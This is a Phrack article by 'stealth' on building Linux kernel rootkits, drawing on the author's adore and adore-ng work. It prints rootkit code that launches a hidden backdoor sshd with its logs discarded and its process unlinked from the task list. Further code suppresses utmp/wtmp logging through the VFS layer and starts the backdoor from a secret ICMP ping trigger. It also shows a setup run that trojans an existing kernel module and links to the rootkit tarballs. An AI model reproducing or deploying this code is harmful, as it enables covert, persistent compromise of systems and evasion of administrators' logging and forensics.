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==Phrack Inc.==
Volume 0x0b, Issue 0x3d, Phile 0x0e of 0x0f
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|=------------------=[ Kernel Rootkit Experiences ]=---------------------=|
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|=----------------=[ stealth <stealth@segfault.net> ]=-------------------=|
--[ Contents
1 - Introduction
2 - Sick of it all?
3 - Let it log
4 - Let it rock
5 - Thinking about linking
6 - as in 2.6
7 - Last words & References
--[ 1 - Introduction
This article focuses on kernel based rootkits and how much they will be
influenced by "normal" backdoors in future. Kernel based rootkits
are there for a while, and they will be there in future, so some ideas
and outlooks seem worth.
Before reading this article, you should read the article regarding the
netfilter hooks and the LKM relinking first. The backdoor impmentations I am
speaking of and code snippets will utilize these.
Please do not take this article too serious, it is not a description
of how to hack if you read between the lines. I just express what I
have experianced as "adore author" during the last years. This ranges from
upset admins at congresses, weird questions at speaches, mails which
cry for help, "adore sucks" messages at IRC, congratulations from
.edu sites and so on.
--[ 2 - Sick of it all?
Rootkits, and kernel based rootkits in particular, are available since a
few years now, and some research has been done in this field. A lot of
blubbering and even more blahs are published from time to time, and this is
really annoying so I can understand if you do not read articles about rootkits
anymore. Nevertheless, new obstacles come up and have to be addressed by
rootkit (-authors) in the future. These include but are not limited to:
- new kernel-versions and vendor extensions
- absence of important symbols (namely sys_call_table)
- advanced logging and auditing mechanisms
- kernel hardening, trusted OS etc.
- intrusion detection/abnormal behaivior detection
- advanced forensic tools and analysis methods
While some of these points I try to address in adore-ng like avoiding
of sys_call_table[] usage via VFS layer redirection, some points are
still topic of research. Rootkits usually include logfile cleaners
for the [u,w]tmp files, but this bites with the "least privilege" principle
rule for intruders, which turns into a "least uploads to the system"
rule. So, one point is to try to avoid logging at all, at the
backdoor level (LKM level in our case) to have less binaries on the
target system.
The trusted OS thingie has to be addressed in a own paper, and I already
know which kernel hardening I want to look at spender. :-)
--[ 3 Let it log
During a speach about rootkits at a certain university by a forensic
company I got some nice ideas how one can improve invisibillity.
Today, advanced folks is probably dont patching the sshd binary anymore,
but placing apropriate authentitation tokens at certain places
(yes, distributed authentication mechanisms can be nasty for forensics).
So, if the intruder is going to use the standard tools (he can also
post-install uninstalled libraries and packages if they are missing; do you
know which of the 3 admins installed the openssh package at pc-5073?)
the lkm-rootkit has somehow to ensure the logs the sshd sends go to
/dev/null. One can do it this way:
static int ssh(void *vp)
{
char *a[] = {"/usr/bin/perl", "-e",
"$ENV{PATH}='/usr/bin:/bin:/sbin:/usr/sbin';"
"open(STDIN,'</dev/null');open(STDOUT,'>/dev/null');"
"open(STDERR,'>/dev/null');"
"exec('sshd -e -d -p 2222');",
NULL};
task_lock(current);
REMOVE_LINKS(current);
list_del(¤t->thread_group);
evil_sshd_pid = current->pid;
task_unlock(current);
exec_usermodehelper(*a, a, NULL);
return 0;
}
This looks like it could be called as kernel_thread() by a netfilter hook eh?
"-e" lets sshd log to stderr which is /dev/null in this case. Excellent.
"-d" is a nice switch which forbids sshd to fork and therefore does
not have open ports which can be detected after intruders login.
REMOVE_LINK() makes the process invisible for ps and friends. Using perl
is necessary to open stdin etc. because exec_usermodehelper() will close
all files before starting sshd which makes sshd mix up stderr with the
sockets when run with -e.
The utmp/wtmp/lastlog logging can be avoided via:
// parent must be evil sshd (since child which becomes the shell
// logs the stuff)
if (current->p_opptr &&
current->p_opptr->pid == evil_sshd_pid && evil_sshd_pid != 0) {
for (i = 0; var_filenames[i]; ++i) {
if (var_files[i] && f->f_dentry->d_inode->i_ino ==
var_files[i]->f_dentry->d_inode->i_ino) {
task_unlock(current);
*off += blen;
return blen;
}
}
}
It looks whether the loggie is the sshd and whether it tries to
write [u,w]tmp entries into the appropriate files. Ofcorse we have
to redirect the write() function in the VFS layer and to check
the inode numbers to filter out the correct writes. Indeed, we
would have to check the superblock too, but sshd is not
going to write to files with the same inode# on a different disk
I think.
Some pam modules open a session when one logs in, so a
pam_unix2: session started for user root
might appear in the logs even by the evil sshd with log redirection.
So, as it seems, the log-issue can be solved in future backdoors/rootkits
without messing too much with the system binaries.
--[ 4 Let it rock
One needs a trigger to start the evil sshd, so nmap does not show open
ports. Ofcorse. The netfilter article shows how one can build his
own icmp-hooks to do so. I wont describe it again here, the article
does it better than I could. Just one important point: as far as
I have experianced you cannot start a program from within the hook directly.
Kernel will crash badly, probably because the hook is somehow nested
in an interrupt service routine. To overcome this problem, we set a flag that
the sshd should be started:
if (hit && (hit-1) % HIT_FREQ == 0) {
write_lock(&ssh_lock);
start_ssh = 1;
write_unlock(&ssh_lock);
return NF_DROP;
}
and since we mess with the VFS layer anyway, we also redirect the
open() call (of the particular FS which /etc holds) so the next
process that is opening a file on the same FS is starting the evil sshd.
That might be a "ls" by root or we trigger it ourself via the real
sshd that is running:
root@linux:root# telnet 127.0.0.1 22
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
SSH-2.0-OpenSSH_3.5p1
SSH-2.0-OpenSSH_3.5p1 <<<<< pasted by attacker
Connection closed by foreign host.
On my machine this causes logs from the real sshd:
sshd[1967]: fatal: No supported key exchange algorithms
If one does not enter a valid protocol-string you get your IP logged:
sshd[1980]: Bad protocol version identification '' from ::ffff:127.0.0.1
Might be there are other services (with zero logs) which open files and
trigger the start of the evil sshd like a httpd.
Easy to see that it is possible for the kernel rootkit to
supress certain log messages but by now it depends on the application
and knowledge about when/what it will log. Not a too bad assumption
for an intruder but in future intruders could use tainting-like mechanisms
(taint every log-data that is caused by a hidden shell for example)
to supress any logs the admin could find usefull for detecting the
intruder.
--[ 5 Thinking about linking
There is an article regarding LKM infection, please read it, its
worth to spend the time. :-)
However, one does not need to mess with the ELF format too much, a simple
mmap() with a substitution of the init_module() and cleanup_module()
will suffice. Such a program has to be part of the rootkit, because
rootkits have to be user-friendly, so they can easily set up by
admins who run honeypot systems:
root@linux:zero# ./configure
Starting configuration ...
generating secret pattern ...
\\x37\\x8e\\x37\\x5f
checking 4 SMP ... NO
checking 4 MODVERSIONS ...NO
Your secret ping commandline is: ping -s 32 -p 378e375f IP
root@linux:zero# make
cc -c -I/usr/src/linux/include -DSECRET_PATTERN=\"\\x37\\x8e\\x37\\x5f\"\
-O2 -Wall zero.c
cc -c -I/usr/src/linux/include -DSECRET_PATTERN=\"\\x37\\x8e\\x37\\x5f\"\
-O2 -Wall -DSTANDALONE zero.c -o zero-alone.o
cc -c -I/usr/src/linux/include -DSECRET_PATTERN=\"\\x37\\x8e\\x37\\x5f\"\
-O2 -Wall cleaner.c
root@linux:zero# ./setup
The following LKMs are available:
af_packet ppp_async ppp_generic slhc iptable_filter
ip_tables ipv6 st sr_mod sg
mousedev joydev evdev input uhci
usbcore raw1394 ieee1394 8139too mii
scsi cd cdrom parport_pc ppa
Chose one: sg
Choice was >>>sg<<<
Searching for sg.o ...
Found /lib/modules/2.4.20/kernel/drivers/scsi/sg.o!
Copy trojaned LKM back to original LKM? (y/n)
...
zero.o is for relinkage with one of the chosen modules, but since
this is already inserted into kernel, the intruder needs a standalone module:
zero-alone.o.
For more ideas on linking and different platform approaches, please
look at the particular article at [1].
--[ 6 as in 2.6
As of writing, the 2.6 Linux kernel is already in testing phase, and
soon the first non-testing versions of it will be available. So, it
is probably time to look at the new glitches. At [4] you find a
version of adore-ng that already works with the Linux kernel 2.6.
Beside some new headers the rootkit will need, the signatures
of some functions we need to redirect changed. A not unusual thing.
Not too much challenging. In particular the init and cleanup
functions have to be announced to the LKM loader in a different way:
#ifdef LINUX26
static int __init adore_init()
#else
int init_module()
#endif
and
static void __exit adore_cleanup()
#else
int cleanup_module()
#endif
...
#ifdef LINUX26
module_init(adore_init);
module_exit(adore_cleanup);
#endif
No big thing either. Adore-ng already uses the new VFS technique
to hide files and processes, so we do not need to care about sys_call_table
layout.
The most time-consuming part of porting adore to the 2.6 kernel was
to find out how the LKMs are build at all. Its not enough to "cc"
them to a single object file anymore. You have to link it against
some other object-file compiled from a C-file containing certain infos
and attributes like a
MODULE_INFO(vermagic, VERMAGIC_STRING);
for example. I do not know why they depend on this.
And thats all for 2.6! No magic at all, except some hooks introduced
in the kernel seem worth a look. :-)
--[ 7 Last words & references
Zero rootkit does not hide files, and it only hides the evil sshd process
by removing it from the task-list. It is not wise to "halt" the system from
such a process or its child. I tested zero on a SMP system but it freezed.
No matter whether it was me or the "-f" insmod switch I had to use because
of the different versions. If anyone is willing to grant (legal ofcorse!)
access to a SMP box, let the phrack team or me know. Zero is experimental
stuff, so please do not tell me you do not like it because it is missing
a GUI or stuff.
Some links:
[1] Infecting Loadable Kernel Modules (in this release)
[2] Hacking da Linux Kernel Network Stack (in this release)
[3] http://stealth.7350.org/empty/zero.tgz
(soon appears at http://stealth.7350.org/rootkits)
[4] http://stealth.7350.org/rootkits/adore-ng-0.24.tgz
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